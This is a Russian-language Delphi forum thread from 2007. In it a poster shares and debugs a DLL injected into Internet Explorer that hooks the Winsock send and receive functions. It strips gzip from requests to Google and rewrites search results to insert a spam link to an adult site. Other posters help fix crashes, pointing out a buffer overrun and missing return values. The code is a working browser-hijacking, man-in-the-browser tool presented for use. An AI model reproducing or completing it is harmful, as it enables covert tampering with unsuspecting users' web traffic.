Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: WinAPI и системное программирование > Подмена страницы internet explorer


Автор: trim2k 6.5.2007, 17:00
Вообщем идея такая - внедряем нашу dll в процесс iexplore.exe, затем уже в dll устнавливаем хук на ws2_32.dll на фукции recv, send, WSARecv,WSASend. С внедрением и хуком никаких проблем не возникло. При получение, передачи данных сообщения выодятся. Но буквально через несколько секунд ie виснет и выдаёт сообщение об ошибке. Пробовале с оперой - там всё нормально, а ие вот зараза виснет и всё. Тогда я попробовал поставить вывод messagebox'a в момент установки хука, в результате выводится куча боксов, и браузер уже не виснет. То есть такое чувство что ie захлебывается от процедуры установки хука прослушки. Может кто-то сталкивался с этим? Пожалуйсто помогите, два дня парюсь уже  smile .. Исходник в атаче..

Автор: MetalFan 7.5.2007, 07:39
несколько вопросов по коду)
1)зачем асм вставки? по идее без них тоже должно работать
2)
Код

function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED;
  lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
...
        ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
...
end;
function ReplaceGZIP(lpData: pointer; szData: dword): boolean;
begin
  //szData - размер в БАЙТАХ
  for i:=szData downto 0 do
  begin
    if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;
    inc(dword(lpData));
  end;
end;

размер в байтах. обращаешься к памяти как к dword'у... в итоге можешь вылететь за пределы буфера
3) накой в ReplaceResult создается нить?
если еще чего замечу....

Автор: trim2k 7.5.2007, 13:32
1)Асм вставки используются для безопасной модификации данных в стеке. В доках  сказано что все модификации надо производить между этими асм вставками..
2) и 3) Проблема не в этом. Даже если закоментить код всё равно работать ничего не будет  smile  smile 

Автор: MetalFan 7.5.2007, 13:40
даже если закоментить всю твою обработку, а оставить только вызов True фнукций, все равно не работает?

Автор: trim2k 7.5.2007, 15:01
Да, не работает даже так:
Код

library hook_dll;

uses Windows,advApiHook, UrlMon,WinSock2, Messages;

var
count:integer;
start:integer=1;
   _hook: HHOOK = 0;
   thID1: THandle;
i, flag, ThID: dword;
len, a, b, bt: dword;
link: pChar;
szString: PChar = '<div class=g><h2 class=r><a href="http://www.sex.ru/" target="_blank" class="l"<b>Sex</b>.ru </b></a>';

Tsend: function (s: TSocket;
                  Buf: pChar;
                  len, flags:
                  Integer): Integer; stdcall;

Trecv: function (s: TSocket;
                Buf: pChar;
                len, flags:
                Integer): Integer; stdcall;

TWSARecv: function ( s : TSocket;
                    lpBuffers : LPWSABUF;
                    dwBufferCount : DWORD;
                    var lpNumberOfBytesRecvd : DWORD;
                    var lpFlags : DWORD;
                    lpOverlapped : LPWSAOVERLAPPED;
                    lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;

TWSASend: function ( s : TSocket;
                    lpBuffers : LPWSABUF;
                    dwBufferCount : DWORD;
                    var lpNumberOfBytesSent : DWORD;
                    dwFlags : DWORD;
                    lpOverlapped : LPWSAOVERLAPPED;
                    lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;



function ReplaceGZIP(lpData: pointer; szData: dword): boolean;
begin
 { for i:=szData downto 0 do
  begin
    if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;
    inc(dword(lpData));
  end;  }
end;

function InStr(index: integer; str1: string; str2: pChar): integer;
var
  len, pos: integer;
begin
  pos:=0;
  len:=length(str2);
  for i:=index to length(str1) do begin
    if copy(str1,i,len)=str2 then begin
      pos:=i;
      break;
    end;
  end;
  result:=pos;
end;

function ThreadProc(): dword; stdcall;
begin
    Sleep(6000);
    flag:=0;
    ExitThread(0);
end;

function ReplaceResult(lpData: pChar; szData: dword): boolean;
begin
  {MessageBox(0, 'GOOGLE',
     'Hook DLL', MB_OK); }
{ if flag = 1 then exit;
  a := pos('<div class=g><h2 class=r><a href="', lpData);
  if a=0 then exit;
    len:=0;
    dec(a);
    flag:=1;
    GetMem(link, szData);
    
    MoveMemory(link, lpData, a);
    MoveMemory(pointer(dword(link)+a), szString, length(szString));

    len:=a+length(szString);
    b:=szData-InStr(a, lpData, '.');
    MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</a>')+4), b);

    MoveMemory(lpData, link, szData);

    ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);
    CloseHandle(ThID);     }
end;

function Nrecv(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
  {   Trecv(s, buf, len, flags);
    asm
      pushad
    end;
      if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len);
    asm
      popad
    end;   }
end;

function Nsend(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
  {  asm
      pushad
    end;
      if (pos('Host: www.google.ru', Buf) > 0) or (pos('Host: google.ru', Buf) > 0) then
        ReplaceGZIP(Buf, len);
    asm
      popad
    end;  }
    Tsend(s, buf, len, flags);
end;

function NWSARecv( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD;
  lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
  begin
    TWSARecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);
   { asm
      pushad
    end;
      if pos('google', lpBuffers.buf) > 0 then
      begin
     ReplaceResult(lpBuffers.buf, lpBuffers.len);
      end;
    asm
      popad
    end;   }

end;

function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED;
  lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
 {   asm
      pushad
    end;
      if (pos('Host: www.google.ru', lpBuffers.buf) > 0) or (pos('Host: google.ru', lpBuffers.buf) > 0) then
        ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
    asm
      popad
    end;   }
    TWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
 {MessageBox(0, '1',
     'Hook DLL', MB_OK);}
  case dwReason of
    DLL_PROCESS_ATTACH: begin
    HookProc('ws2_32.dll', 'recv', @Nrecv, @Trecv);
    HookProc('ws2_32.dll', 'send', @Nsend, @Tsend);
    HookProc('ws2_32.dll', 'WSARecv', @NWSARecv, @TWSARecv);
    HookProc('ws2_32.dll', 'WSASend', @NWSASend, @TWSASend);
  end;
    DLL_PROCESS_DETACH: begin
    UnhookCode(@TWSARecv);
    UnhookCode(@Trecv);
    UnhookCode(@TWSASend);
    UnhookCode(@Tsend);
  end;
  end;

end;


function HookProc1(nCode, wParam, lParam: integer): integer stdcall;
begin
     Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

procedure SetHK(hk: HHOOK) stdcall;
begin
     _hook:=hk;
end;

procedure WorkWithNet(thrVar: integer) stdcall;
begin

end;

exports
       HookProc1 name 'HookProc',
       SetHK name 'SetHK';

begin


     if GetModuleHandle(nil)=GetModuleHandle('iexplore.exe') then
     begin
     DllProc := @DLLEntryPoint;
     DLLEntryPoint(DLL_PROCESS_ATTACH);
     end;

end.

Автор: MetalFan 7.5.2007, 15:39
ну прально.... а Result кто будет возвращать?

Автор: Iton 1.8.2009, 05:58
так какже все-таки исправить данный баг? в каждую функцию добавить Result?

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)